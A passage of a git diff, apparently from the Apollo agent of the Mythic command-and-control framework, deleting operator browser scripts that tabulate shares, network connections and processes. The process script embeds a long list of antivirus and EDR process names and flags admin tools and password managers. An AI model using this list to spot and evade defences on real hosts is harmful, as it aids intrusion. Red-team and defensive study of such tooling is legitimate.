rows.push(row); - } - } - return {"table":[{ - "headers": headers, - "rows": rows, - "title": "Local Groups", - }]}; - }else{ - // this means we shouldn't have any output - return {"plaintext": "No response yet from agent..."} - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/net_shares_new.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/net_shares_new.js deleted file mode 100644 index 7d605072..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/net_shares_new.js +++ /dev/null @@ -1,64 +0,0 @@ -function(task, responses){ - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - }else if(responses.length > 0){ - let file = {}; - let data = ""; - let rows = []; - let tableTitle = ""; - - let headers = [ - {"plaintext": "list", "type": "button", "startIcon": "list", "cellStyle": {}, "width": 100}, - {"plaintext": "name", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "comment", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "type", "type": "string", "cellStyle": {}, "fillWidth": true}, - ]; - for(let i = 0; i < responses.length; i++) - { - try{ - data = JSON.parse(responses[i]); - }catch(error){ - console.log(error); - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - - for(let j = 0; j < data.length; j++){ - let jinfo = data[j]; - if (tableTitle == "") - { - tableTitle = "Shares for " + jinfo["computer_name"]; - } - let row = { - // If process name is BAD, then highlight red. - "rowStyle": {}, - "list": {"button": { - "name": "list", - "type": "task", - "ui_feature": "file_browser:list", - "parameters": "\\\\" + jinfo["computer_name"] + "\\" + jinfo["share_name"], - "disabled": !jinfo["readable"], - "cellStyle": {}, - }}, - "name": {"plaintext": jinfo["share_name"], "cellStyle": {}}, - "comment": {"plaintext": jinfo["comment"], "cellStyle": {}}, - "type": {"plaintext": jinfo["type"], "cellStyle": {}}, - }; - rows.push(row); - } - } - return {"table":[{ - "headers": headers, - "rows": rows, - "title": "Local Shares", - }]}; - }else{ - // this means we shouldn't have any output - return {"plaintext": "No response yet from agent..."} - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/netstat.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/netstat.js deleted file mode 100755 index 08bef027..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/netstat.js +++ /dev/null @@ -1,57 +0,0 @@ -function(task, responses){ - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - }else if(responses.length > 0){ - let data = ""; - let rows = []; - let tableTitle = "Network Connections"; - - for(let i = 0; i < responses.length; i++) - { - try{ - data = JSON.parse(responses[i]); - }catch(error){ - console.log(error); - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - let headers = [ - {"plaintext": "proto", "type": "string", "cellStyle": {}, "width": 70}, - {"plaintext": "local address", "type": "string", "cellStyle": {}, "width": 400}, - {"plaintext": "local port", "type": "number", "cellStyle": {}, "width": 150}, - {"plaintext": "remote address", "type": "string", "cellStyle": {}, "width": 400}, - {"plaintext": "remote port", "type": "number", "cellStyle": {}, "width": 150}, - {"plaintext": "state", "type": "string", "cellStyle": {}, "width": 200}, - {"plaintext": "pid", "type": "number", "cellStyle": {}, "width": 120}, - ]; - for(let j = 0; j < data.length; j++){ - let jinfo = data[j]; - let row = { - "rowStyle": {}, - "proto": {"plaintext": jinfo["protocol"], "cellStyle": {}}, - "local address": {"plaintext": jinfo["local_address"], "cellStyle": {}}, - "local port": {"plaintext": jinfo["local_port"], "cellStyle": {}}, - "remote address": {"plaintext": jinfo["remote_address"], "cellStyle": {}}, - "remote port": {"plaintext": jinfo["remote_port"], "cellStyle": {}}, - "state": {"plaintext": jinfo["state"] ? jinfo["state"]:"", "cellStyle": {}}, - "pid": {"plaintext": jinfo["pid"], "cellStyle": {}}, - }; - rows.push(row); - } - return {"table":[{ - "headers": headers, - "rows": rows, - "title": tableTitle, - }]}; - } - - }else{ - // this means we shouldn't have any output - return {"plaintext": "No response yet from agent..."} - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/ps_new.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/ps_new.js deleted file mode 100644 index c7d21c53..00000000 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/ps_new.js +++ /dev/null @@ -1,135 +0,0 @@ -function(task, responses){ - if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - }else if(responses.length > 0){ - let file = {}; - let data = ""; - let rows = []; - let headers = [ - {"plaintext": "actions", "type": "button", "cellStyle": {}, "width": 100, "disableSort": true}, - {"plaintext": "ppid", "type": "number", "copyIcon": true, "cellStyle": {}, "width": 100}, - {"plaintext": "pid", "type": "number", "copyIcon": true, "cellStyle": {}, "width": 100}, - {"plaintext": "arch", "type": "string", "cellStyle": {}, "width": 100}, - {"plaintext": "name", "type": "string", "cellStyle": {}, "fillWidth": true}, - {"plaintext": "user", "type": "string", "cellStyle": {}, "fillWidth": 250}, - {"plaintext": "session", "type": "number", "cellStyle": {}, "width": 100}, - {"plaintext": "signer", "type": "string", "cellStyle": {}, "fillWidth": true}, - ]; - for(let i = 0; i < responses.length; i++) - { - try{ - data = JSON.parse(responses[i]); - }catch(error){ - console.log(error); - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; - } - let avProcesses = ["Tanium", "360RP", "360SD", "360Safe", "360leakfixer", "360rp", "360safe", "360sd", "360tray", "AAWTray", "ACAAS", "ACAEGMgr", "ACAIS", "AClntUsr", "ALERT", "ALERTSVC", "ALMon", "ALUNotify", "ALUpdate", "ALsvc", "AVENGINE", "AVGCHSVX", "AVGCSRVX", "AVGIDSAgent", "AVGIDSMonitor", "AVGIDSUI", "AVGIDSWatcher", "AVGNSX", "AVKProxy", "AVKService", "AVKTray", "AVKWCtl", "AVP", "AVP", "AVPDTAgt", "AcctMgr", "Ad-Aware", "Ad-Aware2007", "AddressExport", "AdminServer", "Administrator", "AeXAgentUIHost", "AeXNSAgent", "AeXNSRcvSvc", "AlertSvc", "AlogServ", "AluSchedulerSvc", "AnVir", "AppSvc32", "AtrsHost", "Auth8021x", "AvastSvc", "AvastUI", "Avconsol", "AvpM", "Avsynmgr", "Avtask", "BLACKD", "BWMeterConSvc", "CAAntiSpyware", "CALogDump", "CAPPActiveProtection", "CAPPActiveProtection", "CB", "CCAP", "CCenter", "CClaw", "CLPS", "CLPSLA", "CLPSLS", "CNTAoSMgr", "CPntSrv", "CTDataLoad", "CertificationManagerServiceNT", "ClShield", "ClamTray", "ClamWin", "Console", "CylanceUI", "DAO_Log", "DLService", "DLTray", "DLTray", "DRWAGNTD", "DRWAGNUI", "DRWEB32W", "DRWEBSCD", "DRWEBUPW", "DRWINST", "DSMain", "DWHWizrd", "DefWatch", "DolphinCharge", "EHttpSrv", "EMET_Agent", "EMET_Service", "EMLPROUI", "EMLPROXY", "EMLibUpdateAgentNT", "ETConsole3", "ETCorrel", "ETLogAnalyzer", "ETReporter", "ETRssFeeds", "EUQMonitor", "EndPointSecurity", "EngineServer", "EntityMain", "EtScheduler", "EtwControlPanel", "EventParser", "FAMEH32", "FCDBLog", "FCH32", "FPAVServer", "FProtTray", "FSCUIF", "FSHDLL32", "FSM32", "FSMA32", "FSMB32", "FWCfg", "FireSvc", "FireTray", "FirewallGUI", "ForceField", "FortiProxy", "FortiTray", "FortiWF", "FrameworkService", "FreeProxy", "GDFirewallTray", "GDFwSvc", "HWAPI", "ISNTSysMonitor", "ISSVC", "ISWMGR", "ITMRTSVC", "ITMRT_SupportDiagnostics", "ITMRT_TRACE", "IcePack", "IdsInst", "InoNmSrv", "InoRT", "InoRpc", "InoTask", "InoWeb", "IsntSmtp", "KABackReport", "KANMCMain", "KAVFS", "KAVStart", "KLNAGENT", "KMailMon", "KNUpdateMain", "KPFWSvc", "KSWebShield", "KVMonXP", "KVMonXP_2", "KVSrvXP", "KWSProd", "KWatch", "KavAdapterExe", "KeyPass", "KvXP", "LUALL", "LWDMServer", "LockApp", "LockAppHost", "LogGetor", "MCSHIELD", "MCUI32", "MSASCui", "ManagementAgentNT", "McAfeeDataBackup", "McEPOC", "McEPOCfg", "McNASvc", "McProxy", "McScript_InUse", "McWCE", "McWCECfg", "Mcshield", "Mctray", "MgntSvc", "MpCmdRun", "MpfAgent", "MpfSrv", "MsMpEng", "NAIlgpip", "NAVAPSVC", "NAVAPW32", "NCDaemon", "NIP", "NJeeves", "NLClient", "NMAGENT", "NOD32view", "NPFMSG", "NPROTECT", "NRMENCTB", "NSMdtr", "NTRtScan", "NVCOAS", "NVCSched", "NavShcom", "Navapsvc", "NaveCtrl", "NaveLog", "NaveSP", "Navw32", "Navwnt", "Nip", "Njeeves", "Npfmsg2", "Npfsvice", "NscTop", "Nvcoas", "Nvcsched", "Nymse", "OLFSNT40", "OMSLogManager", "ONLINENT", "ONLNSVC", "OfcPfwSvc", "PASystemTray", "PAVFNSVR", "PAVSRV51", "PNmSrv", "POPROXY", "POProxy", "PPClean", "PPCtlPriv", "PQIBrowser", "PSHost", "PSIMSVC", "PXEMTFTP", "PadFSvr", "Pagent", "Pagentwd", "PavBckPT", "PavFnSvr", "PavPrSrv", "PavProt", "PavReport", "Pavkre", "PcCtlCom", "PcScnSrv", "PccNTMon", "PccNTUpd", "PpPpWallRun", "PrintDevice", "ProUtil", "PsCtrlS", "PsImSvc", "PwdFiltHelp", "Qoeloader", "RAVMOND", "RAVXP", "RNReport", "RPCServ", "RSSensor", "RTVscan", "RapApp", "Rav", "RavAlert", "RavMon", "RavMonD", "RavService", "RavStub", "RavTask", "RavTray", "RavUpdate", "RavXP", "RealMon", "Realmon", "RedirSvc", "RegMech", "ReporterSvc", "RouterNT", "Rtvscan", "SAFeService", "SAService", "SAVAdminService", "SAVFMSESp", "SAVMain", "SAVScan", "SCANMSG", "SCANWSCS", "SCFManager", "SCFService", "SCFTray", "SDTrayApp", "SEVINST", "SMEX_ActiveUpdate", "SMEX_Master", "SMEX_RemoteConf", "SMEX_SystemWatch", "SMSECtrl", "SMSELog", "SMSESJM", "SMSESp", "SMSESrv", "SMSETask", "SMSEUI", "SNAC", "SNAC", "SNDMon", "SNDSrvc", "SPBBCSvc", "SPIDERML", "SPIDERNT", "SSM", "SSScheduler", "SVCharge", "SVDealer", "SVFrame", "SVTray", "SWNETSUP", "SavRoam", "SavService", "SavUI", "ScanMailOutLook", "SeAnalyzerTool", "SemSvc", "SescLU", "SetupGUIMngr", "SiteAdv", "Smc", "SmcGui", "SnHwSrv", "SnICheckAdm", "SnIcon", "SnSrv", "SnicheckSrv", "SpIDerAgent", "SpntSvc", "SpyEmergency", "SpyEmergencySrv", "StOPP", "StWatchDog", "SymCorpUI", "SymSPort", "TBMon", "TFGui", "TFService", "TFTray", "TFun", "TIASPN~1", "TSAnSrf", "TSAtiSy", "TScutyNT", "TSmpNT", "TmListen", "TmPfw", "Tmntsrv", "Traflnsp", "TrapTrackerMgr", "UPSCHD", "UcService", "UdaterUI", "UmxAgent", "UmxCfg", "UmxFwHlp", "UmxPol", "Up2date", "UpdaterUI", "UrlLstCk", "UserActivity", "UserAnalysis", "UsrPrmpt", "V3Medic", "V3Svc", "VPC32", "VPDN_LU", "VPTray", "VSStat", "VsStat", "VsTskMgr", "WEBPROXY", "WFXCTL32", "WFXMOD32", "WFXSNT40", "WebProxy", "WebScanX", "WinRoute", "WrSpySetup", "ZLH", "Zanda", "ZhuDongFangYu", "Zlh", "_avp32", "_avpcc", "_avpm", "aAvgApi", "aawservice", "acaif", "acctmgr", "ackwin32", "aclient", "adaware", "advxdwin", "aexnsagent", "aexsvc", "aexswdusr", "aflogvw", "afwServ", "agentsvr", "agentw", "ahnrpt", "ahnsd", "ahnsdsv", "alertsvc", "alevir", "alogserv", "alsvc", "alunotify", "aluschedulersvc", "amon9x", "amswmagt", "anti-trojan", "antiarp", "antivirus", "ants", "aphost", "apimonitor", "aplica32", "aps", "apvxdwin", "arr", "ashAvast", "ashBug", "ashChest", "ashCmd", "ashDisp", "ashEnhcd", "ashLogV", "ashMaiSv", "ashPopWz", "ashQuick", "ashServ", "ashSimp2", "ashSimpl", "ashSkPcc", "ashSkPck", "ashUpd", "ashWebSv", "ashdisp", "ashmaisv", "ashserv", "ashwebsv", "asupport", "aswDisp", "aswRegSvr", "aswServ", "aswUpdSv", "aswUpdsv", "aswWebSv", "aswupdsv", "atcon", "atguard", "atro55en", "atupdater", "atwatch", "atwsctsk", "au", "aupdate", "aupdrun", "aus", "auto-protect.nav80try", "autodown", "autotrace", "autoup", "autoupdate", "avEngine", "avadmin", "avcenter", "avconfig", "avconsol", "ave32", "avengine", "avesvc", "avfwsvc", "avgam", "avgamsvr", "avgas", "avgcc", "avgcc32", "avgcsrvx", "avgctrl", "avgdiag", "avgemc", "avgfws8", "avgfws9", "avgfwsrv", "avginet", "avgmsvr", "avgnsx", "avgnt", "avgregcl", "avgrssvc", "avgrsx", "avgscanx", "avgserv", "avgserv9", "avgsystx", "avgtray", "avguard", "avgui", "avgupd", "avgupdln", "avgupsvc", "avgvv", "avgw", "avgwb", "avgwdsvc", "avgwizfw", "avkpop", "avkserv", "avkservice", "avkwctl9", "avltmain", "avmailc", "avmcdlg", "avnotify", "avnt", "avp", "avp32", "avpcc", "avpdos32", "avpexec", "avpm", "avpncc", "avps", "avptc32", "avpupd", "avscan", "avsched32", "avserver", "avshadow", "avsynmgr", "avwebgrd", "avwin", "avwin95", "avwinnt", "avwupd", "avwupd32", "avwupsrv", "avxmonitor9x", "avxmonitornt", "avxquar", "backweb", "bargains", "basfipm", "bd_professional", "bdagent", "bdc", "bdlite", "bdmcon", "bdss", "bdsubmit", "beagle", "belt", "bidef", "bidserver", "bipcp", "bipcpevalsetup", "bisp", "blackd", "blackice", "blink", "blss", "bmrt", "bootconf", "bootwarn", "borg2", "bpc", "bpk", "brasil", "bs120", "bundle", "bvt", "bwgo0000", "ca", "caav", "caavcmdscan", "caavguiscan", "caf", "cafw", "caissdt", "capfaem", "capfasem", "capfsem", "capmuamagt", "casc", "casecuritycenter", "caunst", "cavrep", "cavrid", "cavscan", "cavtray", "ccApp", "ccEvtMgr", "ccLgView", "ccProxy", "ccSetMgr", "ccSetmgr", "ccSvcHst", "ccap", "ccapp", "ccevtmgr", "cclaw", "ccnfagent", "ccprovsp", "ccproxy", "ccpxysvc", "ccschedulersvc", "ccsetmgr", "ccsmagtd", "ccsvchst", "ccsystemreport", "cctray", "ccupdate", "cdp", "cfd", "cfftplugin", "cfgwiz", "cfiadmin", "cfiaudit", "cfinet", "cfinet32", "cfnotsrvd", "cfp", "cfpconfg", "cfpconfig", "cfplogvw", "cfpsbmit", "cfpupdat", "cfsmsmd", "checkup", "cka", "clamscan", "claw95", "claw95cf", "clean", "cleaner", "cleaner3", "cleanpc", "cleanup", "click", "cmdagent", "cmdinstall", "cmesys", "cmgrdian", "cmon016", "comHost", "connectionmonitor", "control_panel", "cpd", "cpdclnt", "cpf", "cpf9x206", "cpfnt206", "crashrep", "csacontrol", "csinject", "csinsm32", "csinsmnt", "csrss_tc", "ctrl", "cv", "cwnb181", "cwntdwmo", "cz", "datemanager", "dbserv", "dbsrv9", "dcomx", "defalert", "defscangui", "defwatch", "deloeminfs", "deputy", "diskmon", "divx", "djsnetcn", "dllcache", "dllreg", "doors", "doscan", "dpf", "dpfsetup", "dpps2", "drwagntd", "drwatson", "drweb", "drweb32", "drweb32w", "drweb386", "drwebcgp", "drwebcom", "drwebdc", "drwebmng", "drwebscd", "drwebupw", "drwebwcl", "drwebwin", "drwupgrade", "dsmain", "dssagent", "dvp95", "dvp95_0", "dwengine", "dwhwizrd", "dwwin", "ecengine", "edisk", "efpeadm", "egui", "ekrn", "elogsvc", "emet_agent", "emet_service", "emsw", "engineserver", "ent", "era", "esafe", "escanhnt", "escanv95", "esecagntservice", "esecservice", "esmagent", "espwatch", "etagent", "ethereal", "etrustcipe", "evpn", "evtProcessEcFile", "evtarmgr", "evtmgr", "exantivirus-cnet", "exe.avxw", "execstat", "expert", "explore", "f-agnt95", "f-prot", "f-prot95", "f-stopw", "fameh32", "fast", "fch32", "fih32", "findviru", "firesvc", "firetray", "firewall", "fmon", "fnrb32", "fortifw", "fp-win", "fp-win_trial", "fprot", "frameworkservice", "frminst", "frw", "fsaa", "fsaua", "fsav", "fsav32", "fsav530stbyb", "fsav530wtbyb", "fsav95", "fsavgui", "fscuif", "fsdfwd", "fsgk32", "fsgk32st", "fsguidll", "fsguiexe", "fshdll32", "fsm32", "fsma32", "fsmb32", "fsorsp", "fspc", "fspex", "fsqh", "fssm32", "fwinst", "gator", "gbmenu", "gbpoll", "gcascleaner", "gcasdtserv", "gcasinstallhelper", "gcasnotice", "gcasserv", "gcasservalert", "gcasswupdater", "generics", "gfireporterservice", "ghost_2", "ghosttray", "giantantispywaremain", "giantantispywareupdater", "gmt", "guard", "guarddog", "guardgui", "hacktracersetup", "hbinst", "hbsrv", "hipsvc", "hotactio", "hotpatch", "htlog", "htpatch", "hwpe", "hxdl", "hxiul", "iamapp", "iamserv", "iamstats", "ibmasn", "ibmavsp", "icepack", "icload95", "icloadnt", "icmon", "icsupp95", "icsuppnt", "idle", "iedll", "iedriver", "iface", "ifw2000", "igateway", "inetlnfo", "infus", "infwin", "inicio", "init", "inonmsrv", "inorpc", "inort", "inotask", "intdel", "intren", "iomon98", "isPwdSvc", "isUAC", "isafe", "isafinst", "issvc", "istsvc", "jammer", "jdbgmrg", "jedi", "kaccore", "kansgui", "kansvr", "kastray", "kav", "kav32", "kavfs", "kavfsgt", "kavfsrcn", "kavfsscs", "kavfswp", "kavisarv", "kavlite40eng", "kavlotsingleton", "kavmm", "kavpers40eng", "kavpf", "kavshell", "kavss", "kavstart", "kavsvc", "kavtray", "kazza", "keenvalue", "kerio-pf-213-en-win", "kerio-wrl-421-en-win", "kerio-wrp-421-en-win", "kernel32", "killprocesssetup161", "kis", "kislive", "kissvc", "klnacserver", "klnagent", "klserver", "klswd", "klwtblfs", "kmailmon", "knownsvr", "kpf4gui", "kpf4ss", "kpfw32", "kpfwsvc", "krbcc32s", "kvdetech", "kvolself", "kvsrvxp", "kvsrvxp_1", "kwatch", "kwsprod", "kxeserv", "launcher", "ldnetmon", "ldpro", "ldpromenu", "ldscan", "leventmgr", "livesrv", "lmon", "lnetinfo", "loader", "localnet", "lockdown", "lockdown2000", "log_qtine", "lookout", "lordpe", "lsetup", "luall", "luau", "lucallbackproxy", "lucoms", "lucomserver", "lucoms~1", "luinit", "luspt", "makereport", "mantispm", "mapisvc32", "masalert", "massrv", "mcafeefire", "mcagent", "mcappins", "mcconsol", "mcdash", "mcdetect", "mcepoc", "mcepocfg", "mcinfo", "mcmnhdlr", "mcmscsvc", "mcods", "mcpalmcfg", "mcpromgr", "mcregwiz", "mcscript", "mcscript_inuse", "mcshell", "mcshield", "mcshld9x", "mcsysmon", "mctool", "mctray", "mctskshd", "mcuimgr", "mcupdate", "mcupdmgr", "mcvsftsn", "mcvsrte", "mcvsshld", "mcwce", "mcwcecfg", "md", "mfeann", "mfevtps", "mfin32", "mfw2en", "mfweng3.02d30", "mgavrtcl", "mgavrte", "mghtml", "mgui", "minilog", "mmod", "monitor", "monsvcnt", "monsysnt", "moolive", "mostat", "mpcmdrun", "mpf", "mpfagent", "mpfconsole", "mpfservice", "mpftray", "mps", "mpsevh", "mpsvc", "mrf", "mrflux", "msapp", "msascui", "msbb", "msblast", "mscache", "msccn32", "mscifapp", "mscman", "msconfig", "msdm", "msdos", "msiexec16", "mskagent", "mskdetct", "msksrver", "msksrvr", "mslaugh", "msmgt", "msmpeng", "msmsgri32", "msscli", "msseces", "mssmmc32", "msssrv", "mssys", "msvxd", "mu0311ad", "mwatch", "myagttry", "n32scanw", "nSMDemf", "nSMDmon", "nSMDreal", "nSMDsch", "naPrdMgr", "nav", "navap.navapsvc", "navapsvc", "navapw32", "navdx", "navlu32", "navnt", "navstub", "navw32", "navwnt", "nc2000", "ncinst4", "MSASCuiL", "MBAMService", "mbamtray", "CylanceSvc", "ndd32", "ndetect", "neomonitor", "neotrace", "neowatchlog", "netalertclient", "netarmor", "netcfg", "netd32", "netinfo", "netmon", "netscanpro", "netspyhunter-1.2", "netstat", "netutils", "networx", "ngctw32", "ngserver", "nip", "nipsvc", "nisoptui", "nisserv", "nisum", "njeeves", "nlsvc", "nmain", "nod32", "nod32krn", "nod32kui", "normist", "norton_internet_secu_3.0_407", "notstart", "npf40_tw_98_nt_me_2k", "npfmessenger", "npfmntor", "npfmsg", "nprotect", "npscheck", "npssvc", "nrmenctb", "nsched32", "nscsrvce", "nsctop", "nsmdtr", "nssys32", "nstask32", "nsupdate", "nt", "ntcaagent", "ntcadaemon", "ntcaservice", "ntrtscan", "ntvdm", "ntxconfig", "nui", "nupgrade", "nvarch16", "nvc95", "nvcoas", "nvcsched", "nvsvc32", "nwinst4", "nwservice", "nwtool16", "nymse", "oasclnt", "oespamtest", "ofcdog", "ofcpfwsvc", "okclient", "olfsnt40", "ollydbg", "onsrvr", "op_viewer", "opscan", "optimize", "ostronet", "otfix", "outpost", "outpostinstall", "outpostproinstall", "paamsrv", "padmin", "pagent", "pagentwd", "panixk", "patch", "pavbckpt", "pavcl", "pavfires", "pavfnsvr", "pavjobs", "pavkre", "pavmail", "pavprot", "pavproxy", "pavprsrv", "pavsched", "pavsrv50", "pavsrv51", "pavsrv52", "pavupg", "pavw", "pccNT", "pccclient", "pccguide", "pcclient", "pccnt", "pccntmon", "pccntupd", "pccpfw", "pcctlcom", "pccwin98", "pcfwallicon", "pcip10117_0", "pcscan", "pctsAuxs", "pctsGui", "pctsSvc", "pctsTray", "pdsetup", "pep", "periscope", "persfw", "perswf", "pf2", "pfwadmin", "pgmonitr", "pingscan", "platin", "pmon", "pnmsrv", "pntiomon", "pop3pack", "pop3trap", "poproxy", "popscan", "portdetective", "portmonitor", "powerscan", "ppinupdt", "ppmcativedetection", "pptbc", "ppvstop", "pqibrowser", "pqv2isvc", "prevsrv", "prizesurfer", "prmt", "prmvr", "programauditor", "proport", "protectx", "psctris", "psh_svc", "psimreal", "psimsvc", "pskmssvc", "pspf", "purge", "pview", "pviewer", "pxemtftp", "pxeservice", "qclean", "qconsole", "qdcsfs", "qoeloader", "qserver", "rapapp", "rapuisvc", "ras", "rasupd", "rav7", "rav7win", "rav8win32eng", "ravmon", "ravmond", "ravstub", "ravxp", "ray", "rb32", "rcsvcmon", "rcsync", "realmon", "reged", "remupd", "reportsvc", "rescue", "rescue32", "rfwmain", "rfwproxy", "rfwsrv", "rfwstub", "rnav", "rrguard", "rshell", "rsnetsvr", "rstray", "rtvscan", "rtvscn95", "rulaunch", "saHookMain", "safeboxtray", "safeweb", "sahagentscan32", "sav32cli", "save", "savenow", "savroam", "savscan", "savservice", "sbserv", "scam32", "scan32", "scan95", "scanexplicit", "scanfrm", "scanmailoutlook", "scanpm", "schdsrvc", "schupd", "scrscan", "seestat", "serv95", "setloadorder", "setup_flowprotector_us", "setupguimngr", "setupvameeval", "sfc", "sgssfw32", "sh", "shellspyinstall", "shn", "showbehind", "shstat", "siteadv", "smOutlookPack", "smc", "smoutlookpack", "sms", "smsesp", "smss32", "sndmon", "sndsrvc", "soap", "sofi", "softManager", "spbbcsvc", "spf", "sphinx", "spideragent", "spiderml", "spidernt", "spiderui", "spntsvc", "spoler", "spoolcv", "spoolsv32", "spyxx", "srexe", "srng", "srvload", "srvmon", "ss3edit", "sschk", "ssg_4104", "ssgrate", "st2", "stcloader", "stinger", "stopp", "stwatchdog", "supftrl", "support", "supporter5", "svcGenericHost", "svcharge", "svchostc", "svchosts", "svcntaux", "svdealer", "svframe", "svtray", "swdsvc", "sweep95", "sweepnet.sweepsrv.sys.swnetsup", "sweepsrv", "swnetsup", "swnxt", "swserver", "symlcsvc", "symproxysvc", "symsport", "symtray", "symwsc", "sysdoc32", "sysedit", "sysupd", "taskmo", "taumon", "tbmon", "tbscan", "tc", "tca", "tclproc", "tcm", "tdimon", "tds-3", "tds2-98", "tds2-nt", "teekids", "tfak", "tfak5", "tgbob", "titanin", "titaninxp", "tmas", "tmlisten", "tmntsrv", "tmpfw", "tmproxy", "tnbutil", "tpsrv", "tracesweeper", "trickler", "trjscan", "trjsetup", "trojantrap3", "trupd", "tsadbot", "tvmd", "tvtmd", "udaterui", "undoboot", "unvet32", "updat", "updtnv28", "upfile", "upgrad", "uplive", "urllstck", "usergate", "usrprmpt", "utpost", "v2iconsole", "v3clnsrv", "v3exec", "v3imscn", "vbcmserv", "vbcons", "vbust", "vbwin9x", "vbwinntw", "vcsetup", "vet32", "vet95", "vetmsg", "vettray", "vfsetup", "vir-help", "virusmdpersonalfirewall", "vnlan300", "vnpc3000", "vpatch", "vpc32", "vpc42", "vpfw30s", "vprosvc", "vptray", "vrv", "vrvmail", "vrvmon", "vrvnet", "vscan40", "vscenu6.02d30", "vsched", "vsecomr", "vshwin32", "vsisetup", "vsmain", "vsmon", "vsserv", "vsstat", "vstskmgr", "vswin9xe", "vswinntse", "vswinperse", "w32dsm89", "w9x", "watchdog", "webdav", "webproxy", "webscanx", "webtrap", "webtrapnt", "wfindv32", "wfxctl32", "wfxmod32", "wfxsnt40", "whoswatchingme", "wimmun32", "win-bugsfix", "winactive", "winmain", "winnet", "winppr32", "winrecon", "winroute", "winservn", "winssk32", "winstart", "winstart001", "wintsk32", "winupdate", "wkufind", "wnad", "wnt", "wradmin", "wrctrl", "wsbgate", "wssfcmai", "wupdater", "wupdt", "wyvernworksfirewall", "xagt", "xagtnotif", "xcommsvr", "xfilter", "xpf202en", "zanda", "zapro", "zapsetup3001", "zatutor", "zhudongfangyu", "zlclient", "zlh", "zonalm2601", "zonealarm", "cb", "MsMpEng", "MsSense", "CSFalconService", "CSFalconContainer", "redcloak", "OmniAgent","CrAmTray","AmSvc","minionhost","PylumLoader","CrsSvc"]; - let adminTools = ["MobaXterm", "bash", "git-bash", "mmc", "Code", "notepad++", "notepad", "cmd", "drwatson", "DRWTSN32", "drwtsn32", "dumpcap", "ethereal", "filemon", "idag", "idaw", "k1205", "loader32", "netmon", "netstat", "netxray", "NmWebService", "nukenabber", "portmon", "powershell", "PRTG Traffic Gr", "PRTG Traffic Grapher", "prtgwatchdog", "putty", "regmon", "SystemEye", "taskman", "TASKMGR", "tcpview", "Totalcmd", "TrafMonitor", "windbg", "winobj", "wireshark", "WMonAvNScan", "WMonAvScan", "WMonSrv","regedit", "regedit32", "accesschk", "accesschk64", "AccessEnum", "ADExplorer", "ADInsight", "adrestore", "Autologon", "Autoruns", "Autoruns64", "autorunsc", "autorunsc64", "Bginfo", "Bginfo64", "Cacheset", "Clockres", "Clockres64", "Contig", "Contig64", "Coreinfo", "ctrl2cap", "Dbgview", "Desktops", "disk2vhd", "diskext", "diskext64", "Diskmon", "DiskView", "du", "du64", "efsdump", "FindLinks", "FindLinks64", "handle", "handle64", "hex2dec", "hex2dec64", "junction", "junction64", "ldmdump", "Listdlls", "Listdlls64", "livekd", "livekd64", "LoadOrd", "LoadOrd64", "LoadOrdC", "LoadOrdC64", "logonsessions", "logonsessions64", "movefile", "movefile64", "notmyfault", "notmyfault64", "notmyfaultc", "notmyfaultc64", "ntfsinfo", "ntfsinfo64", "pagedfrg", "pendmoves", "pendmoves64", "pipelist", "pipelist64", "portmon", "procdump", "procdump64", "procexp", "procexp64", "Procmon", "PsExec", "PsExec64", "psfile", "psfile64", "PsGetsid", "PsGetsid64", "PsInfo", "PsInfo64", "pskill", "pskill64", "pslist", "pslist64", "PsLoggedon", "PsLoggedon64", "psloglist", "pspasswd", "pspasswd64", "psping", "psping64", "PsService", "PsService64", "psshutdown", "pssuspend", "pssuspend64", "RAMMap", "RegDelNull", "RegDelNull64", "regjump", "ru", "ru64", "sdelete", "sdelete64", "ShareEnum", "ShellRunas", "sigcheck", "sigcheck64", "streams", "streams64", "strings", "strings64", "sync", "sync64", "Sysmon", "Sysmon64", "Tcpvcon", "Tcpview", "Testlimit", "Testlimit64", "vmmap", "Volumeid", "Volumeid64", "whois", "whois64", "Winobj", "ZoomIt", "KeePass", "1Password", "lastpass"]; - for(let j = 0; j < data.length; j++){ - let pinfo = data[j]; - let backgroundColor = ""; - let rowStyle = {}; - if (avProcesses.includes(pinfo["name"])) { - rowStyle = { - backgroundColor: "indianred", - color:"black" - }; - } else if (adminTools.includes(pinfo["name"])) { - rowStyle = { - backgroundColor: "rgb(106,255,255)", - color: "black" - }; - } else if (pinfo["name"] == "explorer" || pinfo["name"] == "winlogon") { - rowStyle = { - backgroundColor: "cornflowerblue", - color: "black", - }; - } - let row = { - /* - {"plaintext": "ppid", "type": "number", "cellStyle": {}}, - {"plaintext": "pid", "type": "number", "cellStyle": {}}, - {"plaintext": "arch", "type": "string", "cellStyle": {}}, - {"plaintext": "name", "type": "string", "cellStyle": {}}, - {"plaintext": "session", "type": "number", "cellStyle": {}}, - {"plaintext": "signer", "type": "string", "cellStyle": {}}, - {"plaintext": "info", "type": "button", "cellStyle": {}, "width": 6}, - */ - // If process name is BAD, then highlight red. - "rowStyle": rowStyle, - "ppid": {"plaintext": pinfo["parent_process_id"], "cellStyle": {}, "copyIcon": true}, - "pid": {"plaintext": pinfo["process_id"], "cellStyle": {}, "copyIcon": true}, - "arch": {"plaintext": pinfo["architecture"], "cellStyle": {}}, - "name": {"plaintext": pinfo["name"], "cellStyle": {}}, - "user": {"plaintext": pinfo["user"], "cellStyle": {}}, - "session": {"plaintext": pinfo["session_id"], "cellStyle": {}}, - 